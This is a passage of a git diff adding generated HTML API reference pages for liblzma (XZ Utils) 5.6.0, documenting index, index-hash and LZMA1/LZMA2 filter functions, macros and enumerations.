  • LZMA_DATA_ERROR: Compressed or uncompressed size of the Stream or size of the Index field would grow too big.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_index_stream_flags()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_stream_flags (lzma_indexi,
const lzma_stream_flagsstream_flags 
)
+
+ +

Set the Stream Flags.

+

Set the Stream Flags of the last (and typically the only) Stream in lzma_index. This can be useful when reading information from the lzma_index, because to decode Blocks, knowing the integrity check type is needed.

+
Parameters
+ + + +
iPointer to lzma_index structure
stream_flagsPointer to lzma_stream_flags structure. This is copied into the internal preallocated structure, so the caller doesn't need to keep the flags' data available after calling this function.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_OPTIONS_ERROR: Unsupported stream_flags->version.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_index_checks()

+ +
+
+ + + + + + + + +
uint32_t lzma_index_checks (const lzma_indexi)
+
+ +

Get the types of integrity Checks.

+

If lzma_index_stream_flags() is used to set the Stream Flags for every Stream, lzma_index_checks() can be used to get a bitmask to indicate which Check types have been used. It can be useful e.g. if showing the Check types to the user.

+

The bitmask is 1 << check_id, e.g. CRC32 is 1 << 1 and SHA-256 is 1 << 10. These masks are defined for convenience as LZMA_INDEX_CHECK_MASK_XXX

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Bitmask indicating which Check types are used in the lzma_index
+ +
+
+ +

◆ lzma_index_stream_padding()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_stream_padding (lzma_indexi,
lzma_vli stream_padding 
)
+
+ +

Set the amount of Stream Padding.

+

Set the amount of Stream Padding of the last (and typically the only) Stream in the lzma_index. This is needed when planning to do random-access reading within multiple concatenated Streams.

+

By default, the amount of Stream Padding is assumed to be zero bytes.

+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_DATA_ERROR: The file size would grow too big.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_index_stream_count()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_stream_count (const lzma_indexi)
+
+ +

Get the number of Streams.

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Number of Streams in the lzma_index
+ +
+
+ +

◆ lzma_index_block_count()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_block_count (const lzma_indexi)
+
+ +

Get the number of Blocks.

+

This returns the total number of Blocks in lzma_index. To get number of Blocks in individual Streams, use lzma_index_iter.

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Number of blocks in the lzma_index
+ +
+
+ +

◆ lzma_index_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_size (const lzma_indexi)
+
+ +

Get the size of the Index field as bytes.

+

This is needed to verify the Backward Size field in the Stream Footer.

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Size in bytes of the Index
+ +
+
+ +

◆ lzma_index_stream_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_stream_size (const lzma_indexi)
+
+ +

Get the total size of the Stream.

+

If multiple lzma_indexes have been combined, this works as if the Blocks were in a single Stream. This is useful if you are going to combine Blocks from multiple Streams into a single new Stream.

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Size in bytes of the Stream (if all Blocks are combined into one Stream).
+ +
+
+ +

◆ lzma_index_total_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_total_size (const lzma_indexi)
+
+ +

Get the total size of the Blocks.

+

This doesn't include the Stream Header, Stream Footer, Stream Padding, or Index fields.

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Size in bytes of all Blocks in the Stream(s)
+ +
+
+ +

◆ lzma_index_file_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_file_size (const lzma_indexi)
+
+ +

Get the total size of the file.

+

When no lzma_indexes have been combined with lzma_index_cat() and there is no Stream Padding, this function is identical to lzma_index_stream_size(). If multiple lzma_indexes have been combined, this includes also the headers of each separate Stream and the possible Stream Padding fields.

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Total size of the .xz file in bytes
+ +
+
+ +

◆ lzma_index_uncompressed_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_uncompressed_size (const lzma_indexi)
+
+ +

Get the uncompressed size of the file.

+
Parameters
+ + +
iPointer to lzma_index structure
+
+
+
Returns
Size in bytes of the uncompressed data in the file
+ +
+
+ +

◆ lzma_index_iter_init()

+ +
+
+ + + + + + + + + + + + + + + + + + +
void lzma_index_iter_init (lzma_index_iteriter,
const lzma_indexi 
)
+
+ +

Initialize an iterator.

+

This function associates the iterator with the given lzma_index, and calls lzma_index_iter_rewind() on the iterator.

+

This function doesn't allocate any memory, thus there is no lzma_index_iter_end(). The iterator is valid as long as the associated lzma_index is valid, that is, until lzma_index_end() or using it as source in lzma_index_cat(). Specifically, lzma_index doesn't become invalid if new Blocks are added to it with lzma_index_append() or if it is used as the destination in lzma_index_cat().

+

It is safe to make copies of an initialized lzma_index_iter, for example, to easily restart reading at some particular position.

+
Parameters
+ + + +
iterPointer to a lzma_index_iter structure
ilzma_index to which the iterator will be associated
+
+
+ +
+
+ +

◆ lzma_index_iter_rewind()

+ +
+
+ + + + + + + + +
void lzma_index_iter_rewind (lzma_index_iteriter)
+
+ +

Rewind the iterator.

+

Rewind the iterator so that next call to lzma_index_iter_next() will return the first Block or Stream.

+
Parameters
+ + +
iterPointer to a lzma_index_iter structure
+
+
+ +
+
+ +

◆ lzma_index_iter_next()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_bool lzma_index_iter_next (lzma_index_iteriter,
lzma_index_iter_mode mode 
)
+
+ +

Get the next Block or Stream.

+
Parameters
+ + + +
iterIterator initialized with lzma_index_iter_init()
modeSpecify what kind of information the caller wants to get. See lzma_index_iter_mode for details.
+
+
+
Returns
lzma_bool:
    +
  • true if no Block or Stream matching the mode is found. *iter is not updated (failure).
  • +
  • false if the next Block or Stream matching the mode was found. *iter is updated (success).
  • +
+
+ +
+
+ +

◆ lzma_index_iter_locate()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_bool lzma_index_iter_locate (lzma_index_iteriter,
lzma_vli target 
)
+
+ +

Locate a Block.

+

If it is possible to seek in the .xz file, it is possible to parse the Index field(s) and use lzma_index_iter_locate() to do random-access reading with granularity of Block size.

+

If the target is smaller than the uncompressed size of the Stream (can be checked with lzma_index_uncompressed_size()):

    +
  • Information about the Stream and Block containing the requested uncompressed offset is stored into *iter.
  • +
  • Internal state of the iterator is adjusted so that lzma_index_iter_next() can be used to read subsequent Blocks or Streams.
  • +
+

If the target is greater than the uncompressed size of the Stream, *iter is not modified.

+
Parameters
+ + + +
iterIterator that was earlier initialized with lzma_index_iter_init().
targetUncompressed target offset which the caller would like to locate from the Stream
+
+
+
Returns
lzma_bool:
    +
  • true if the target is greater than or equal to the uncompressed size of the Stream (failure)
  • +
  • false if the target is smaller than the uncompressed size of the Stream (success)
  • +
+
+ +
+
+ +

◆ lzma_index_cat()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_cat (lzma_indexdest,
lzma_indexsrc,
const lzma_allocatorallocator 
)
+
+ +

Concatenate lzma_indexes.

+

Concatenating lzma_indexes is useful when doing random-access reading in multi-Stream .xz file, or when combining multiple Streams into single Stream.

+
Parameters
+ + + + +
[out]destlzma_index after which src is appended
srclzma_index to be appended after dest. If this function succeeds, the memory allocated for src is freed or moved to be part of dest, and all iterators pointing to src will become invalid.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: lzma_indexes were concatenated successfully. src is now a dangling pointer.
  • +
  • LZMA_DATA_ERROR: *dest would grow too big.
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_index_dup()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_index * lzma_index_dup (const lzma_indexi,
const lzma_allocatorallocator 
)
+
+ +

Duplicate lzma_index.

+
Parameters
+ + + +
iPointer to lzma_index structure to be duplicated
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
A copy of the lzma_index, or NULL if memory allocation failed.
+ +
+
+ +

◆ lzma_index_encoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_encoder (lzma_streamstrm,
const lzma_indexi 
)
+
+ +

Initialize .xz Index encoder.

+
Parameters
+ + + +
strmPointer to properly prepared lzma_stream
iPointer to lzma_index which should be encoded.
+
+
+

The valid 'action' values for lzma_code() are LZMA_RUN and LZMA_FINISH. It is enough to use only one of them (you can choose freely).

+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization succeeded, continue with lzma_code().
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_index_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_decoder (lzma_streamstrm,
lzma_index ** i,
uint64_t memlimit 
)
+
+ +

Initialize .xz Index decoder.

+
Parameters
+ + + + +
strmPointer to properly prepared lzma_stream
[out]iThe decoded Index will be made available via this pointer. Initially this function will set *i to NULL (the old value is ignored). If decoding succeeds (lzma_code() returns LZMA_STREAM_END), *i will be set to point to a new lzma_index, which the application has to later free with lzma_index_end().
memlimitHow much memory the resulting lzma_index is allowed to require. liblzma 5.2.3 and earlier don't allow 0 here and return LZMA_PROG_ERROR; later versions treat 0 as if 1 had been specified.
+
+
+

Valid 'action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH. There is no need to use LZMA_FINISH, but it's allowed because it may simplify certain types of applications.

+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization succeeded, continue with lzma_code().
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+
Note
liblzma 5.2.3 and older list also LZMA_MEMLIMIT_ERROR here but that error code has never been possible from this initialization function.
+ +
+
+ +

◆ lzma_index_buffer_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_buffer_encode (const lzma_indexi,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call .xz Index encoder.

+
Note
This function doesn't take allocator argument since all the internal data is allocated on stack.
+
Parameters
+ + + + + +
ilzma_index to be encoded
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_BUF_ERROR: Output buffer is too small. Use lzma_index_size() to find out how much output space is needed.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_index_buffer_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_buffer_decode (lzma_index ** i,
uint64_t * memlimit,
const lzma_allocatorallocator,
const uint8_t * in,
size_t * in_pos,
size_t in_size 
)
+
+ +

Single-call .xz Index decoder.

+
Parameters
+ + + + + + + +
[out]iIf decoding succeeds, *i will point to a new lzma_index, which the application has to later free with lzma_index_end(). If an error occurs, *i will be NULL. The old value of *i is always ignored and thus doesn't need to be initialized by the caller.
[out]memlimitPointer to how much memory the resulting lzma_index is allowed to require. The value pointed by this pointer is modified if and only if LZMA_MEMLIMIT_ERROR is returned.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_posThe next byte will be read from in[*in_pos]. *in_pos is updated only if decoding succeeds.
in_sizeSize of the input buffer; the first byte that won't be read is in[in_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Decoding was successful.
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_MEMLIMIT_ERROR: Memory usage limit was reached. The minimum required memlimit value was stored to *memlimit.
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_file_info_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_file_info_decoder (lzma_streamstrm,
lzma_index ** dest_index,
uint64_t memlimit,
uint64_t file_size 
)
+
+ +

Initialize a .xz file information decoder.

+

This decoder decodes the Stream Header, Stream Footer, Index, and Stream Padding field(s) from the input .xz file and stores the resulting combined index in *dest_index. This information can be used to get the uncompressed file size with lzma_index_uncompressed_size(*dest_index) or, for example, to implement random access reading by locating the Blocks in the Streams.

+

To get the required information from the .xz file, lzma_code() may ask the application to seek in the input file by returning LZMA_SEEK_NEEDED and having the target file position specified in lzma_stream.seek_pos. The number of seeks required depends on the input file and how big buffers the application provides. When possible, the decoder will seek backward and forward in the given buffer to avoid useless seek requests. Thus, if the application provides the whole file at once, no external seeking will be required (that is, lzma_code() won't return LZMA_SEEK_NEEDED).

+

The value in lzma_stream.total_in can be used to estimate how much data liblzma had to read to get the file information. However, due to seeking and the way total_in is updated, the value of total_in will be somewhat inaccurate (a little too big). Thus, total_in is a good estimate but don't expect to see the same exact value for the same file if you change the input buffer size or switch to a different liblzma version.

+

Valid 'action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH. You only need to use LZMA_RUN; LZMA_FINISH is only supported because it might be convenient for some applications. If you use LZMA_FINISH and if lzma_code() asks the application to seek, remember to reset 'action' back to LZMA_RUN unless you hit the end of the file again.

+

Possible return values from lzma_code():

    +
  • LZMA_OK: All OK so far, more input needed
  • +
  • LZMA_SEEK_NEEDED: Provide more input starting from the absolute file position strm->seek_pos
  • +
  • LZMA_STREAM_END: Decoding was successful, *dest_index has been set
  • +
  • LZMA_FORMAT_ERROR: The input file is not in the .xz format (the expected magic bytes were not found from the beginning of the file)
  • +
  • LZMA_OPTIONS_ERROR: File looks valid but contains headers that aren't supported by this version of liblzma
  • +
  • LZMA_DATA_ERROR: File is corrupt
  • +
  • LZMA_BUF_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_MEMLIMIT_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
Parameters
+ + + + + +
strmPointer to a properly prepared lzma_stream
[out]dest_indexPointer to a pointer where the decoder will put the decoded lzma_index. The old value of *dest_index is ignored (not freed).
memlimitHow much memory the resulting lzma_index is allowed to require. Use UINT64_MAX to effectively disable the limiter.
file_sizeSize of the input .xz file
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/index__hash_8h.html b/doc/api/index__hash_8h.html new file mode 100644 index 00000000..9bdbdc35 --- /dev/null +++ b/doc/api/index__hash_8h.html @@ -0,0 +1,317 @@ + + + + + + + +liblzma (XZ Utils): lzma/index_hash.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
index_hash.h File Reference
+
+
+ +

Validate Index by using a hash function. +More...

+ + + + + +

+Typedefs

+typedef struct lzma_index_hash_s lzma_index_hash
 Opaque data type to hold the Index hash.
 
+ + + + + + + + + + + + + + + + +

+Functions

lzma_index_hashlzma_index_hash_init (lzma_index_hash *index_hash, const lzma_allocator *allocator) lzma_nothrow lzma_attr_warn_unused_result
 Allocate and initialize a new lzma_index_hash structure.
 
void lzma_index_hash_end (lzma_index_hash *index_hash, const lzma_allocator *allocator) lzma_nothrow
 Deallocate lzma_index_hash structure.
 
lzma_ret lzma_index_hash_append (lzma_index_hash *index_hash, lzma_vli unpadded_size, lzma_vli uncompressed_size) lzma_nothrow lzma_attr_warn_unused_result
 Add a new Record to an Index hash.
 
lzma_ret lzma_index_hash_decode (lzma_index_hash *index_hash, const uint8_t *in, size_t *in_pos, size_t in_size) lzma_nothrow lzma_attr_warn_unused_result
 Decode and validate the Index field.
 
lzma_vli lzma_index_hash_size (const lzma_index_hash *index_hash) lzma_nothrow lzma_attr_pure
 Get the size of the Index field as bytes.
 
+

Detailed Description

+

Validate Index by using a hash function.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Hashing makes it possible to use constant amount of memory to validate Index of arbitrary size.

+

Function Documentation

+ +

◆ lzma_index_hash_init()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_index_hash * lzma_index_hash_init (lzma_index_hashindex_hash,
const lzma_allocatorallocator 
)
+
+ +

Allocate and initialize a new lzma_index_hash structure.

+

If index_hash is NULL, this function allocates and initializes a new lzma_index_hash structure and returns a pointer to it. If allocation fails, NULL is returned.

+

If index_hash is non-NULL, this function reinitializes the lzma_index_hash structure and returns the same pointer. In this case, return value cannot be NULL or a different pointer than the index_hash that was given as an argument.

+
Parameters
+ + + +
index_hashPointer to a lzma_index_hash structure or NULL.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
Initialized lzma_index_hash structure on success or NULL on failure.
+ +
+
+ +

◆ lzma_index_hash_end()

+ +
+
+ + + + + + + + + + + + + + + + + + +
void lzma_index_hash_end (lzma_index_hashindex_hash,
const lzma_allocatorallocator 
)
+
+ +

Deallocate lzma_index_hash structure.

+
Parameters
+ + + +
index_hashPointer to a lzma_index_hash structure to free.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+ +
+
+ +

◆ lzma_index_hash_append()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_hash_append (lzma_index_hashindex_hash,
lzma_vli unpadded_size,
lzma_vli uncompressed_size 
)
+
+ +

Add a new Record to an Index hash.

+
Parameters
+ + + + +
index_hashPointer to a lzma_index_hash structure
unpadded_sizeUnpadded Size of a Block
uncompressed_sizeUncompressed Size of a Block
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_DATA_ERROR: Compressed or uncompressed size of the Stream or size of the Index field would grow too big.
  • +
  • LZMA_PROG_ERROR: Invalid arguments or this function is being used when lzma_index_hash_decode() has already been used.
  • +
+
+ +
+
+ +

◆ lzma_index_hash_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_index_hash_decode (lzma_index_hashindex_hash,
const uint8_t * in,
size_t * in_pos,
size_t in_size 
)
+
+ +

Decode and validate the Index field.

+

After telling the sizes of all Blocks with lzma_index_hash_append(), the actual Index field is decoded with this function. Specifically, once decoding of the Index field has been started, no more Records can be added using lzma_index_hash_append().

+

This function doesn't use lzma_stream structure to pass the input data. Instead, the input buffer is specified using three arguments. This is because it matches better the internal APIs of liblzma.

+
Parameters
+ + + + + +
index_hashPointer to a lzma_index_hash structure
inPointer to the beginning of the input buffer
[out]in_posin[*in_pos] is the next byte to process
in_sizein[in_size] is the first byte not to process
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: So far good, but more input is needed.
  • +
  • LZMA_STREAM_END: Index decoded successfully and it matches the Records given with lzma_index_hash_append().
  • +
  • LZMA_DATA_ERROR: Index is corrupt or doesn't match the information given with lzma_index_hash_append().
  • +
  • LZMA_BUF_ERROR: Cannot progress because *in_pos >= in_size.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_index_hash_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_index_hash_size (const lzma_index_hashindex_hash)
+
+ +

Get the size of the Index field as bytes.

+

This is needed to verify the Backward Size field in the Stream Footer.

+
Parameters
+ + +
index_hashPointer to a lzma_index_hash structure
+
+
+
Returns
Size of the Index field in bytes.
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/lzma12_8h.html b/doc/api/lzma12_8h.html new file mode 100644 index 00000000..9900a36c --- /dev/null +++ b/doc/api/lzma12_8h.html @@ -0,0 +1,442 @@ + + + + + + + +liblzma (XZ Utils): lzma/lzma12.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
lzma12.h File Reference
+
+
+ +

LZMA1 and LZMA2 filters. +More...

+ + + + + +

+Data Structures

struct  lzma_options_lzma
 Options specific to the LZMA1 and LZMA2 filters. More...
 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Macros

#define LZMA_FILTER_LZMA1   LZMA_VLI_C(0x4000000000000001)
 LZMA1 Filter ID (for raw encoder/decoder only, not in .xz)
 
#define LZMA_FILTER_LZMA1EXT   LZMA_VLI_C(0x4000000000000002)
 LZMA1 Filter ID with extended options (for raw encoder/decoder)
 
#define LZMA_FILTER_LZMA2   LZMA_VLI_C(0x21)
 LZMA2 Filter ID.
 
+#define LZMA_DICT_SIZE_MIN   UINT32_C(4096)
 
+#define LZMA_DICT_SIZE_DEFAULT   (UINT32_C(1) << 23)
 
+#define LZMA_LCLP_MIN   0
 
+#define LZMA_LCLP_MAX   4
 
+#define LZMA_LC_DEFAULT   3
 
+#define LZMA_LP_DEFAULT   0
 
+#define LZMA_PB_MIN   0
 
+#define LZMA_PB_MAX   4
 
+#define LZMA_PB_DEFAULT   2
 
+#define LZMA_LZMA1EXT_ALLOW_EOPM   UINT32_C(0x01)
 
#define lzma_set_ext_size(opt_lzma2, u64size)
 Macro to set the 64-bit uncompressed size in ext_size_*.
 
+ + + + + + + +

+Enumerations

enum  lzma_match_finder {
+  LZMA_MF_HC3 = 0x03 +, LZMA_MF_HC4 = 0x04 +, LZMA_MF_BT2 = 0x12 +, LZMA_MF_BT3 = 0x13 +,
+  LZMA_MF_BT4 = 0x14 +
+ }
 Match finders. More...
 
enum  lzma_mode { LZMA_MODE_FAST = 1 +, LZMA_MODE_NORMAL = 2 + }
 Compression modes. More...
 
+ + + + + + + + + + +

+Functions

lzma_bool lzma_mf_is_supported (lzma_match_finder match_finder) lzma_nothrow lzma_attr_const
 Test if given match finder is supported.
 
lzma_bool lzma_mode_is_supported (lzma_mode mode) lzma_nothrow lzma_attr_const
 Test if given compression mode is supported.
 
lzma_bool lzma_lzma_preset (lzma_options_lzma *options, uint32_t preset) lzma_nothrow
 Set a compression preset to lzma_options_lzma structure.
 
+

Detailed Description

+

LZMA1 and LZMA2 filters.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_FILTER_LZMA1

+ +
+
+ + + + +
#define LZMA_FILTER_LZMA1   LZMA_VLI_C(0x4000000000000001)
+
+ +

LZMA1 Filter ID (for raw encoder/decoder only, not in .xz)

+

LZMA1 is the very same thing as what was called just LZMA in LZMA Utils, 7-Zip, and LZMA SDK. It's called LZMA1 here to prevent developers from accidentally using LZMA when they actually want LZMA2.

+ +
+
+ +

◆ LZMA_FILTER_LZMA1EXT

+ +
+
+ + + + +
#define LZMA_FILTER_LZMA1EXT   LZMA_VLI_C(0x4000000000000002)
+
+ +

LZMA1 Filter ID with extended options (for raw encoder/decoder)

+

This is like LZMA_FILTER_LZMA1 but with this ID a few extra options are supported in the lzma_options_lzma structure:

+
    +
  • A flag to tell the encoder if the end of payload marker (EOPM) alias end of stream (EOS) marker must be written at the end of the stream. In contrast, LZMA_FILTER_LZMA1 always writes the end marker.
  • +
  • Decoder needs to be told the uncompressed size of the stream or that it is unknown (using the special value UINT64_MAX). If the size is known, a flag can be set to allow the presence of the end marker anyway. In contrast, LZMA_FILTER_LZMA1 always behaves as if the uncompressed size was unknown.
  • +
+

This allows handling file formats where LZMA1 streams are used but where the end marker isn't allowed or where it might not (always) be present. This extended LZMA1 functionality is provided as a Filter ID for raw encoder and decoder instead of adding new encoder and decoder initialization functions because this way it is possible to also use extra filters, for example, LZMA_FILTER_X86 in a filter chain with LZMA_FILTER_LZMA1EXT, which might be needed to handle some file formats.

+ +
+
+ +

◆ LZMA_FILTER_LZMA2

+ +
+
+ + + + +
#define LZMA_FILTER_LZMA2   LZMA_VLI_C(0x21)
+
+ +

LZMA2 Filter ID.

+

Usually you want this instead of LZMA1. Compared to LZMA1, LZMA2 adds support for LZMA_SYNC_FLUSH, uncompressed chunks (smaller expansion when trying to compress incompressible data), possibility to change lc/lp/pb in the middle of encoding, and some other internal improvements.

+ +
+
+ +

◆ lzma_set_ext_size

+ +
+
+ + + + + + + + + + + + + + + + + + +
#define lzma_set_ext_size( opt_lzma2,
 u64size 
)
+
+Value:
do { \
+
(opt_lzma2).ext_size_low = (uint32_t)(u64size); \
+
(opt_lzma2).ext_size_high = (uint32_t)((uint64_t)(u64size) >> 32); \
+
} while (0)
+
+

Macro to set the 64-bit uncompressed size in ext_size_*.

+

This might be convenient when decoding using LZMA_FILTER_LZMA1EXT. This isn't used with LZMA_FILTER_LZMA1 or LZMA_FILTER_LZMA2.

+ +
+
+

Enumeration Type Documentation

+ +

◆ lzma_match_finder

+ +
+
+ + + + +
enum lzma_match_finder
+
+ +

Match finders.

+

Match finder has major effect on both speed and compression ratio. Usually hash chains are faster than binary trees.

+

If you will use LZMA_SYNC_FLUSH often, the hash chains may be a better choice, because binary trees get much higher compression ratio penalty with LZMA_SYNC_FLUSH.

+

The memory usage formulas are only rough estimates, which are closest to reality when dict_size is a power of two. The formulas are more complex in reality, and can also change a little between liblzma versions. Use lzma_raw_encoder_memusage() to get more accurate estimate of memory usage.

+ + + + + + +
Enumerator
LZMA_MF_HC3 

Hash Chain with 2- and 3-byte hashing.

+

Minimum nice_len: 3

+

Memory usage:

    +
  • dict_size <= 16 MiB: dict_size * 7.5
  • +
  • dict_size > 16 MiB: dict_size * 5.5 + 64 MiB
  • +
+
LZMA_MF_HC4 

Hash Chain with 2-, 3-, and 4-byte hashing.

+

Minimum nice_len: 4

+

Memory usage:

    +
  • dict_size <= 32 MiB: dict_size * 7.5
  • +
  • dict_size > 32 MiB: dict_size * 6.5
  • +
+
LZMA_MF_BT2 

Binary Tree with 2-byte hashing.

+

Minimum nice_len: 2

+

Memory usage: dict_size * 9.5

+
LZMA_MF_BT3 

Binary Tree with 2- and 3-byte hashing.

+

Minimum nice_len: 3

+

Memory usage:

    +
  • dict_size <= 16 MiB: dict_size * 11.5
  • +
  • dict_size > 16 MiB: dict_size * 9.5 + 64 MiB
  • +
+
LZMA_MF_BT4 

Binary Tree with 2-, 3-, and 4-byte hashing.

+

Minimum nice_len: 4

+

Memory usage:

    +
  • dict_size <= 32 MiB: dict_size * 11.5
  • +
  • dict_size > 32 MiB: dict_size * 10.5
  • +
+
+ +
+
+ +

◆ lzma_mode

+ +
+
+ + + + +
enum lzma_mode
+
+ +

Compression modes.

+

This selects the function used to analyze the data produced by the match finder.

+ + + +
Enumerator
LZMA_MODE_FAST 

Fast compression.

+

Fast mode is usually at its best when combined with a hash chain match finder.

+
LZMA_MODE_NORMAL 

Normal compression.

+

This is usually notably slower than fast mode. Use this together with binary tree match finders to expose the full potential of the LZMA1 or LZMA2 encoder.

+
+ +
+
+

Function Documentation

+ +

◆ lzma_mf_is_supported()

+ +
+
+ + + + + + + + +
lzma_bool lzma_mf_is_supported (lzma_match_finder match_finder) const
+
+ +

Test if given match finder is supported.

+

It is safe to call this with a value that isn't listed in lzma_match_finder enumeration; the return value will be false.

+

There is no way to list which match finders are available in this particular liblzma version and build. It would be useless, because a new match finder, which the application developer wasn't aware, could require giving additional options to the encoder that the older match finders don't need.

+
Parameters
+ + +
match_finderMatch finder ID
+
+
+
Returns
lzma_bool:
    +
  • true if the match finder is supported by this liblzma build.
  • +
  • false otherwise.
  • +
+
+ +
+
+ +

◆ lzma_mode_is_supported()

+ +
+
+ + + + + + + + +
lzma_bool lzma_mode_is_supported (lzma_mode mode) const
+
+ +

Test if given compression mode is supported.

+

It is safe to call this with a value that isn't listed in lzma_mode enumeration; the return value will be false.

+

There is no way to list which modes are available in this particular liblzma version and build. It would be useless, because a new compression mode, which the application developer wasn't aware, could require giving additional options to the encoder that the older modes don't need.

+
Parameters
+ + +
modeMode ID.
+
+
+
Returns
lzma_bool:
    +
  • true if the compression mode is supported by this liblzma build.
  • +
  • false otherwise.
  • +
+
+ +
+
+ +

◆ lzma_lzma_preset()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_bool lzma_lzma_preset (lzma_options_lzmaoptions,
uint32_t preset 
)
+
+ +

Set a compression preset to lzma_options_lzma structure.

+

0 is the fastest and 9 is the slowest. These match the switches -0 .. -9 of the xz command line tool. In addition, it is possible to bitwise-or flags to the preset. Currently only LZMA_PRESET_EXTREME is supported. The flags are defined in container.h, because the flags are used also with lzma_easy_encoder().

+

The preset levels are subject to changes between liblzma versions.

+

This function is available only if LZMA1 or LZMA2 encoder has been enabled when building liblzma.

+

If features (like certain match finders) have been disabled at build time, then the function may return success (false) even though the resulting LZMA1/LZMA2 options may not be usable for encoder initialization (LZMA_OPTIONS_ERROR).

+
Parameters
+ + + +
[out]optionsPointer to LZMA1 or LZMA2 options to be filled
presetPreset level bitwse-ORed with preset flags
+
+
+
Returns
lzma_bool:
    +
  • true if the preset is not supported (failure).
  • +
  • false otherwise (success).
  • +
+
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

